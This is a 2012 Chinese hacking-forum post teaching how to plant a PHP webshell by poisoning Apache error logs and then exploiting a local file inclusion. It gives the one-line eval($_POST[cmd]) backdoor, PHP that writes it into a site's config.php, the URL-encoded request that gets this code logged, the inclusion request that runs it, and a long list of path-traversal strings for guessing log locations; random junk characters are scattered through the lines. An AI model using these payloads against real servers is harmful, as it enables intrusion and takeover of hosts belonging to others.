找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2368|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
4 j; }+ L! |" i9 k! k
6 `8 ]* S$ b8 W& e比如还是这句一句话木马
5 l3 U3 n; @& S; R3 n<?eval($_POST[cmd]);?>   2 t" f6 V/ ^, Z& E4 n6 ?5 d
! t# e# N/ l/ w& }$ _& Q
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, ( \+ R& M- n" c% v: ^& p" ]
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 - A  v9 E% J  y9 A

3 H3 {& R# K# m) `/ [2 E<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
) p, q. `( J+ W* f, ?6 \7 Dfclose($fp);?>   //在config.php里写入一句木马语句
0 o; ~! s: a% ~
. u% V- V7 I2 n# w我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
1 u6 C1 k2 v  b% L7 l4 b转换为
- V0 n1 ^+ Q9 q2 o1 ]! l% Z- W%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
2 t& {3 Z- n4 r$ tconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 4 H* }9 S8 [6 N
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B : a% P% }. C1 `7 e
fclose%28%24fp%29%3B%3F%3E
: J- }4 z- n) {6 M我们提交
! j% D6 N; S7 N  l& Xhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww ( \3 H* M5 U4 P% h( n, M9 U
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp ; Z& s$ e1 ~+ k$ j
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
/ U9 Z2 |& e# K# [& a# `cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E % ~9 @  p: K" a& |

% Z. T4 ^  M2 p( ~- v0 ?1 b8 o这样就错误日志里就记录下了这行写入webshell的代码。
" A8 T0 C- ]' @1 O' q我们再来包含日志,提交
' G+ q+ u9 p1 V3 l( t4 D: |% K+ w7 \http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
. F" _( a7 v# D$ Z! j( ~) \, ~4 o6 F- z3 I
这样webshell就写入成功了,config.php里就写入一句木马语句
0 P$ _5 W/ B& }5 MOK. 8 n2 R! }3 U5 v4 B) H8 }
http://www.xxx.com/forum/config.php这个就成了我们的webshell
1 Q$ X  ?! b  U$ I4 R% V9 l/ F直接用lanker的客户端一连,主机就是你的了。
! x' [8 F) X$ p$ D* D* c7 S8 e& E' t2 v7 Q6 }, _5 M
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 8 A% J. t6 z! }2 L. Q, n& g# [

, a; ^, P6 \3 Z: c- K' }其他的日志路径,你可以去猜,也可以参照这里。 " k- {% ]# _8 S3 v+ P0 p7 \: s
../../../../../../../../../../var/log/httpd/access_log # U9 s( e2 E+ l
../../../../../../../../../../var/log/httpd/error_log
9 H5 M& D+ t( V" Q0 U, q../apache/logs/error.log
  L5 a: c  ]4 a../apache/logs/access.log : f8 \: q# j/ \" W& ]4 Q& }% {
../../apache/logs/error.log 7 E. z2 h# {0 e# B( n
../../apache/logs/access.log ' H& }- ]  p- G9 _  A
../../../apache/logs/error.log   D) H9 Q/ X4 P: ]# M
../../../apache/logs/access.log 0 L+ X2 A1 r/ Q( {/ `# b4 I
../../../../../../../../../../etc/httpd/logs/acces_log - o. n8 Z+ r4 Q3 u
../../../../../../../../../../etc/httpd/logs/acces.log 1 t* T$ ~8 H4 |' {$ N
../../../../../../../../../../etc/httpd/logs/error_log 6 i" L/ ^" W3 I9 {
../../../../../../../../../../etc/httpd/logs/error.log 9 R! O6 A9 S* r6 y3 _5 ~4 M! G
../../../../../../../../../../var/www/logs/access_log " P5 Z) D6 E8 g3 B* E4 {
../../../../../../../../../../var/www/logs/access.log - N: @8 c/ q( w
../../../../../../../../../../usr/local/apache/logs/access_log
, f# |; K2 _/ N! R3 L" v../../../../../../../../../../usr/local/apache/logs/access.log
/ E7 b0 g6 a; i. r../../../../../../../../../../var/log/apache/access_log 9 B( j9 t2 O) n2 K8 V9 f
../../../../../../../../../../var/log/apache/access.log . \2 t, s4 n* ?0 g; H
../../../../../../../../../../var/log/access_log
4 y+ L' ~- \/ ?../../../../../../../../../../var/www/logs/error_log . V' g+ b) U" e# I6 l3 g
../../../../../../../../../../var/www/logs/error.log
  {0 A/ i. J  K( d- h../../../../../../../../../../usr/local/apache/logs/error_log
6 N# |. ^& p& ^# c9 Y  ]1 l2 ?../../../../../../../../../../usr/local/apache/logs/error.log 7 T" S" T% s2 u, M* j& S! K& R
../../../../../../../../../../var/log/apache/error_log . m8 N% u4 e( K$ c3 I& p3 E
../../../../../../../../../../var/log/apache/error.log
8 j0 ^' R0 ^7 i* {" T* t% ~. e../../../../../../../../../../var/log/access_log 4 }$ w& P+ P( F% Z
../../../../../../../../../../var/log/error_log
, T9 R, W( n9 J( `6 Z" D" d5 ~/var/log/httpd/access_log      
) w& i0 [6 E6 X7 ?3 c/ f& z5 X/var/log/httpd/error_log     . o# N4 O9 J. Z+ R( B! a
../apache/logs/error.log     
6 q3 N" A, v, N3 A../apache/logs/access.log 6 n7 ^4 q5 }( H. U+ m# m7 q/ z
../../apache/logs/error.log 9 l% _# u. f6 N
../../apache/logs/access.log
$ p) W0 o5 z, \8 y+ Q../../../apache/logs/error.log 4 }1 i  H6 l" X8 @
../../../apache/logs/access.log
8 t, _' ]3 P' r" O4 u  c/etc/httpd/logs/acces_log 3 u1 @/ t; w3 m+ X: w
/etc/httpd/logs/acces.log
4 |' m7 R' F0 G# }/etc/httpd/logs/error_log
' ~- E# u$ X0 R- d/etc/httpd/logs/error.log " l2 d2 P1 c& X# t: O6 v8 ?
/var/www/logs/access_log
0 y: J& Y$ L1 c6 \/var/www/logs/access.log : j* E# ?+ a9 e) \
/usr/local/apache/logs/access_log 8 |7 g+ Q) w7 U6 q
/usr/local/apache/logs/access.log 0 {, D( S# e# @# ~: H" @, s
/var/log/apache/access_log
' k5 t: Q% H# t; b; Z7 O, ]$ o/var/log/apache/access.log
( a: |- l' L5 h5 r9 V/var/log/access_log ( `+ H; s/ Y/ M3 G$ D
/var/www/logs/error_log
8 g3 n+ r9 I. w: L2 ?/var/www/logs/error.log
  p6 Q8 T  `) z6 k/usr/local/apache/logs/error_log
4 ?3 z3 n# X- Z- C& }/usr/local/apache/logs/error.log
4 t) {9 I. [5 Z" l# O% [/var/log/apache/error_log : r( D: Q! `" E0 p
/var/log/apache/error.log , J* t/ H/ X! T" r, e3 V, a
/var/log/access_log 2 p0 ?+ {. p8 s( u* w
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表